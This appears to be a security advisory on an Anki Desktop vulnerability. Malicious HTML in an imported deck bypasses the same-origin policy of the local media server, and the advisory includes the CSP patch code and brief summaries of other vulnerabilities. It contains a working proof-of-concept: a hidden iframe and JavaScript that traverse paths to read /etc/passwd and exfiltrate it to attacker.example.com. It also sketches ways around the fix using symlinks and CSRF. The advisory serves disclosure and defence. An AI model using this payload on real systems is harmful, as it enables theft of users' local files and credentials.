Jun 22, 2026·4 min read·8 visits
User-supplied HTML and SVG files within imported Anki decks can bypass Same-Origin Policy protections inside Anki's local media server, enabling unauthenticated reads of sensitive local files and immediate out-of-band data exfiltration.
Anki Desktop for Windows, macOS, and Linux is vulnerable to local file disclosure and data exfiltration due to an iframe-based Same-Origin Policy (SOP) bypass. Maliciously crafted user scripts inside imported deck files run within the localhost context, bypassing security filters to query internal endpoints and read arbitrary system files.
Anki Desktop utilizes an embedded browser framework based on QtWebEngine to render flashcards. To facilitate rendering media assets and communicating with the core Rust backend, Anki executes a local WSGI HTTP server (mediasrv.py) driven by Waitress. This server binds to the localhost interface on a dynamically selected TCP port.
Because the browser interface processes arbitrary user-supplied card contents, Anki must enforce strict origin boundary controls. If user-submitted files execute within the same origin as the local management API, they gain access to restricted endpoints. This vulnerability permits untrusted resources to bridge the security boundary and read local configuration files, databases, or keys.
The root cause of GHSA-CW6H-FFMH-X6VH is the complete absence of a Content Security Policy (CSP) header on served media assets, coupled with shared origin execution. When a flashcard renders an HTML or SVG media element, the assets are loaded from the loopback address (e.g., http://127.0.0.1:port/media/file.html).
Because the parent page and the iframe share the exact same protocol, domain name, and port, they belong to the same origin. The browser's Same-Origin Policy permits scripts inside the frame to access the parent DOM structure and query internal APIs directly.
By leveraging endpoints such as getImageForOcclusion—which accepts paths and retrieves local disk resources without directory-traversal mitigation (CWE-22)—the script reads host files. The isolated origin context can then immediately transmit this retrieved information to external systems using simple cross-origin image requests.
Prior to the implementation of the patch, the application server processed file requests inside _handle_local_file_request(req) without validating origin trust or appending security headers. The mitigation resolves this issue by introducing UNTRUSTED_MEDIA_CSP inside qt/aqt/mediasrv.py.
This policy restricts scripting, network requests, frame loading, and enforces a unique sandboxed environment.
# Defined sandbox CSP policy within the patched media server
UNTRUSTED_MEDIA_CSP = "; ".join([
"default-src 'none'",
"script-src 'none'",
"connect-src 'none'",
"object-src 'none'",
"frame-src 'none'",
"child-src 'none'",
"base-uri 'none'",
"form-action 'none'",
"sandbox" # Enforces an opaque, isolated origin
])During file dispatch, the media server checks the request.untrusted flag and appends the policy to prevent script execution on active documents.
# Response generation with CSP header injection
response = flask.send_file(
fullpath,
mimetype=mimetype,
conditional=True,
max_age=max_age,
download_name="foo"
)
if request.untrusted:
response.headers["Content-Security-Policy"] = UNTRUSTED_MEDIA_CSP
return responseAn attacker exploits this design flaw by preparing a custom deck archive containing a malicious page, payload.html, and a flashcard layout containing an invisible frame.
<iframe src="payload.html" style="display:none;" width="0" height="0"></iframe>When loaded, payload.html executes JavaScript inside the local origin. The script calls the vulnerable endpoint, exploiting directory traversal to locate sensitive target directories.
async function exfil() {
let fileRequest = await fetch('/_anki/getImageForOcclusion', {
method: 'POST',
headers: { 'Content-Type': 'application/binary' },
body: JSON.stringify({ path: '../../../../../../../../../../etc/passwd' })
});
let content = await fileRequest.text();
new Image().src = 'https://attacker.example.com/log?data=' + btoa(content);
}
exfil();This script runs transparently whenever the card is viewed, leaking host files without raising errors or warnings to the user.
This vulnerability is classified as Medium severity with a CVSS 3.1 score of 6.5. Successful exploitation allows an attacker to retrieve any local document readable by the active user account.
Threat actors can target credentials, private keys, browser session stores, and internal program configurations. Because the execution engine retains outbound connection capabilities, the retrieved information can be sent immediately to external capture points.
The attack requires the target user to manually import a compromised deck, limiting direct automated exploitation vectors.
The introduction of UNTRUSTED_MEDIA_CSP successfully neutralizes immediate scripting execution paths. However, the traversal check in ensure_safe_path contains potential design limitations. The path verification checks are performed using os.path.abspath instead of resolving final files.
def ensure_safe_path(base_dir, path):
base_dir = os.path.realpath(base_dir)
path = os.path.normpath(path)
fullpath = os.path.abspath(os.path.join(base_dir, path))
if not fullpath.startswith(base_dir + os.sep):
raise UnsafePathException(path)
return fullpathBecause os.path.abspath does not resolve nested symbolic links, a zipped deck containing functional symbolic links could theoretically trigger an external file read when processed by the operating system file server.
Furthermore, HTTP GET queries triggered by HTML tags (such as <img>) do not carry Origin HTTP headers, which may expose GET-based administration parameters to Cross-Site Request Forgery (CSRF) attempts.
| Product | Affected Versions | Fixed Version |
|---|---|---|
aqt Anki | <= 25.09.3 | 25.09.4 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-346 / CWE-22 |
| Attack Vector | Network |
| CVSS Score | 6.5 |
| Exploit Status | Proof-of-Concept Available |
| KEV Status | Not Listed |
An authentication bypass in the SiYuan personal knowledge management system before version 3.7.0 exposes a dynamic icon rendering endpoint. This endpoint processes client-supplied Go template directives. By submitting a crafted request, an unauthenticated remote attacker can leverage registered database template functions to execute arbitrary read-only SQL queries and exfiltrate workspace contents.
CVE-2026-54069 is a critical authentication bypass vulnerability in the SiYuan Note personal knowledge management system. The flaw is located in the HTTP server's middleware handling API authorization, which unconditionally trusts requests carrying a 'chrome-extension://' scheme in the Origin HTTP header, granting administrative access without validating API tokens.
CVE-2026-54089 is a critical authentication bypass vulnerability in File Browser affecting instances configured with proxy-based authentication. An unauthenticated remote attacker with direct network access can impersonate arbitrary users or register new accounts by spoofing configured HTTP headers.
The malicious Cargo package 'exploration' was uploaded to the crates.io registry. During compilation or package import, the crate executes code designed to establish an outbound TCP/HTTP connection, download an external second-stage binary, and execute the binary locally on the host machine. This creates an unauthenticated remote code execution vector impacting developer environments and continuous integration pipelines.
CVE-2026-54088 is a critical command injection vulnerability in File Browser prior to version 2.63.6. When Hook Authentication is enabled, the application interpolates unsanitized credentials into a shell command, allowing unauthenticated remote code execution.
An authenticated remote code execution vulnerability exists in NotrinosERP (versions up to and including 1.0.0) within the Human Resource Management (HRM) module. Users with employee management permissions can upload arbitrary file types, including PHP scripts, which are written directly to a web-accessible directory. This allows for arbitrary code execution in the context of the web-server user.